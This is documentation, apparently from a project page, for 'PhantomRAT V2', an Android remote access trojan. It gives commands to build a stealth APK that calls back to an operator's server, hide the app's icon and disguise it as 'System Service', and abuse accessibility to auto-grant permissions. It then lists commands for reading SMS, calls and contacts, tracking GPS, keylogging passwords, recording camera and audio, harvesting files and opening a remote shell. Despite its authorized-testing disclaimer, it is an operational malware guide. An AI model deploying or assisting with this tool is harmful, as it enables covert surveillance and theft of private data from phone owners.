Introduction

PhantomRAT V2 is an advanced Android Remote Administration Tool for security research. This documentation covers installation, configuration, and usage.

Note: This tool is for educational and authorized testing purposes only. Always obtain proper authorization before testing.

Features Overview

Core Capabilities

  • Semi-Automatic Permissions: Enable accessibility once, auto-grants all permissions
  • Gradle Build System: Professional APK compilation (3-4 minutes)
  • Multi-Version Support: Separate payloads for Android 11, 12, 13, 14
  • Advanced Keylogger: Accessibility-based text and password capture
  • Stealth Mode: Icon hiding, exclude from recents, service masking
  • Remote Shell: Full device control via interactive shell

Data Extraction

  • SMS messages (inbox/sent/drafts)
  • Call logs with full details
  • Complete contact list
  • GPS location tracking
  • Device and SIM information

Media Capture

  • Photo capture (front/back camera)
  • Video recording
  • Audio recording
  • Screenshot capability

Requirements

Server Requirements

OS: Linux / macOS / Termux Python: 3.8 or higher Java: JDK 8 or higher Gradle: 7.6+ (auto-installed) RAM: 4GB minimum Storage: 2GB free space

Target Device Requirements

Android: 11+ (API Level 30+) Internet: WiFi or Mobile Data Storage: 100MB free space Permissions: Allow Unknown Sources

Installation

1. Clone Repository

git clone https://github.com/Ritusmin325k/PhantomRAT_V2.git cd PhantomRAT_V2

2. Install Python Dependencies

pip3 install -r requirements.txt

3. Install Gradle

bash install_gradle_oneclick.sh source ~/.bashrc # or source ~/.zshrc

4. Verify Installation

python3 rat.py --help gradle --version

Building APK

Method 1: Direct Command

# Basic build python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 # With custom output name python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -o myrat.apk # With hidden icon python3 rat.py build -ip 192.168.1.100 -p 8000 -pl android_14 -hide_icon

Build Parameters

  • -ip - Server IP address (required)
  • -p - Server port (default: 8000)
  • -pl - Payload version (android_11, android_12, android_13, android_14)
  • -o - Output filename (default: phantom.apk)
  • -hide_icon - Hide app icon after installation

Method 2: Interactive Shell

python3 rat.py phantom@shell:~$ build -ip 192.168.1.100 -p 8000 -pl android_14

Starting Server

# Listen on all interfaces python3 rat.py listen -ip 0.0.0.0 -p 8000 # Listen on specific IP python3 rat.py listen -ip 192.168.1.100 -p 8000

Device Setup

1. Install APK

Transfer and install the APK on the target device:

adb install Compiled_APK/phantom.apk

2. Enable Accessibility (REQUIRED)

Critical Step: This enables auto-permission granting!
  1. Go to Settings → Accessibility → Downloaded Services
  2. Find and enable "System Service"
  3. Grant accessibility permission
  4. All other permissions will now be auto-granted!

3. Auto-Granted Permissions

After enabling accessibility, these permissions are automatically granted:

  • Camera (photo/video)
  • Microphone (audio recording)
  • Location (GPS tracking)
  • Storage/Media (file access)
  • Phone/SMS (calls/messages)
  • Contacts (contact list)
  • Notifications (Android 13+)

Available Commands

Information Commands

deviceinfo - Get device details getsim - Get SIM card information getlocation - Get GPS coordinates

Media Capture

takepic 0 - Take photo (0=back, 1=front) startvideo 0 - Start video recording startaudio - Start audio recording screenshot - Take screenshot

Data Extraction

getsms inbox - Get SMS (inbox/sent/drafts) getcalls - Get call logs getcontacts - Get contact list getkeylogs - Get keylogger data

File Operations

download <path> - Download file from device upload <path> - Upload file to device harvest - Harvest files from device

Control Commands

shell - Open remote shell vibrate 5 - Vibrate device 5 times sessions - List all connected devices switch <id> - Switch to different session exit - Disconnect from current device

Troubleshooting

Gradle Not Found

source ~/.bashrc # Reload shell configuration gradle --version # Verify installation

Build Failures

# Check versions java -version gradle --version # Clean build cd Payloads/android_14 ./gradlew clean ./gradlew assembleRelease

Connection Issues

  • Check firewall settings
  • Verify IP address is correct
  • Ensure device has internet
  • Check if port is already in use: netstat -tulpn | grep 8000

Module Documentation

PhantomRAT V2 includes 17 specialized modules:

Module Purpose
Config.java Server configuration
PermissionBypass.java Semi-auto permission system
KeyloggerService.java Accessibility keylogger
RATService.java Main C2 service
StealthModule.java Stealth operations

Security Considerations

⚠️ Legal Warning

Unauthorized use of this tool is ILLEGAL. Only use on devices you own or have explicit written permission to test. Violations may result in criminal prosecution.

Best Practices

  • Always obtain written authorization
  • Use isolated test environments
  • Follow responsible disclosure practices
  • Encrypt sensitive data
  • Delete test data securely
  • Comply with all applicable laws

Need Help?

For additional support, visit our Contact page or check the GitHub repository.